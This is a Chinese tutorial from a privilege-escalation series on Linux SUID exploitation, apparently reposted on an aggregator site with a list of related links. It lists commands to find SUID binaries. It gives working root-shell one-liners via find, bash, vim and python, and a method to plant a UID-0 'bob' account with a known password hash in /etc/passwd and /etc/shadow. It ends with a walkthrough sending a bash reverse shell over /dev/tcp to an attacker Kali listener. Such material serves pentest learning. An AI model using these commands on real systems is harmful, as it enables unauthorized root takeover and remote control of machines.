当前位置: 首页 > news >正文

操作系统权限提升(十九)之Linux提权-SUID提权

系列文章

操作系统权限提升(十八)之Linux提权-内核提权

SUID提权

SUID介绍

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的

在这里插入图片描述
注意以下几点:

  1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
  2. 命令执行者要对该程序文件拥有执行(x)权限.
  3. 命令执行者在执行该程序时获得该程序文件属主的身份.
  4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效

设置SUID

chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置

SUID提权原理

原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令

常见的可以用来提权的命令如下:

nmap
vim
find
bash
more
less
nano
cp
awk
mv
更多命令查看:https://gtfobins.github.io

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

一、 find / -user root -perm -4000 -print 2>/dev/null

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000

-perm匹配权限
4000 2000 1000分别表示SUID SGID SBIT
1.普通文件,文件的权限一般三位,777最高文件权限
-perm -0777搜索的就是最高权限的文件rwxrwxrwx
-perm +0777搜索的只要包含rwxrwxrwx任意一个的文件
2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法
-perm -7000搜索的就是最高权限的文件–s–s–t
-perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — – t(1000)等

5、-print 2>/dev/null 将标准错误输入到/dev/null文件

二、 find / -perm -u=s -type f 2>/dev/null

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-perm -u=s 查找有s权限

4、 -type f -type b/d/c/p/l/f 查是块设备、目录、字符设备、管道、符号链接、普通文件

三、 find / -user root -perm -4000 -exec ls -ldb {};

1、find 是查找文件的命令

2、/ 是从根目录开始查找

3、-user root 是文件的所属者是root

4、-perm -4000

5、-exec ls -ldb {}; 执行 ls -ddb命令

提权实验

FIND提权

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用find提权

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit

在这里插入图片描述

BASH提权

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用bash提权

bash -p

在这里插入图片描述

VIM提权

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用bash提权

第一种方式,利用vim添加账号

vim /etc/passwd 添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

在这里插入图片描述
在这里插入图片描述

最后我们切换到bob用户

在这里插入图片描述

第二种,利用vim打开交互shell

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

在这里插入图片描述
在这里插入图片描述

PYTHON提权

1、查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

2、利用提权

python -c 'import os;os.execl("/bin/sh", "sh", "-p")'

在这里插入图片描述

大家可以通过这篇文章来深入了解一下SUID提权 谈一谈Linux与suid提权

实战模拟

机器名IP
kali192.168.0.105
Unbuntu192.168.41.27

前期我们已经通过各种渠道拿下了Unbuntu的机器,发现是个普通用户daoer的权限

在这里插入图片描述

接下来我们利用SUID进行提权

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

在这里插入图片描述

在目标机器上找到可以利用SUID提权的命令

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit

在这里插入图片描述

完成提权,接下来kali机开启监听,反弹shell

nc -lvvp 8888

在这里插入图片描述

bash -i >&/dev/tcp/192.168.0.105/8888 0>&1

在这里插入图片描述

kali机收到反弹shell

在这里插入图片描述

http://www.lryc.cn/news/24276.html

相关文章:

  • 直播 | StarRocks 实战系列第三期--StarRocks 运维的那些事
  • KingabseES执行计划-分区剪枝(partition pruning)
  • Operator-sdk 在 KaiwuDB 容器云中的使用
  • 【数据挖掘】2、数据预处理
  • (四十六)大白话在数据库里,哪些操作会导致在表级别加锁呢?
  • 【Android源码面试宝典】MMKV从使用到原理分析(二)
  • 如何使用ADFSRelay分析和研究针对ADFS的NTLM中继攻击
  • 【Python学习笔记】第二十二节 Python XML 解析
  • 5分钟轻松拿下Java枚举
  • 华为OD机试【独家】提供C语言题解 - 最小传递延迟
  • 【Web前端】关于JS数组方法的一些理解
  • 多智能体集群协同控制笔记(1):线性无领航多智能体系统的一致性
  • hadoop-Yarn资源调度器【尚硅谷】
  • 聊聊如何避免多个jar通过maven打包成一个jar,多个同名配置文件发生覆盖问题
  • Flume 使用小案例
  • DLO-SLAM代码阅读
  • X和Ku波段小尺寸无线电设计
  • 推荐算法 - 汇总
  • Android 系统的启动流程
  • 自学5个月Java找到了9K的工作,我的方式值得大家借鉴 第二部分
  • Vue 3 第五章:reactive全家桶
  • 【联机对战】微信小程序联机游戏开发流程详解
  • 优化基于axios接口管理的骚操作
  • 【Django功能开发】如何正确使用定时任务(启动、停止)
  • 7个好用到爆的音频、配乐素材网站,BGM都在这里了
  • JUC(二)
  • ATS认证教学
  • 【操作系统】进程管理
  • 一分钟掌握技术术语:API(接口)
  • RabbitMQ之交换机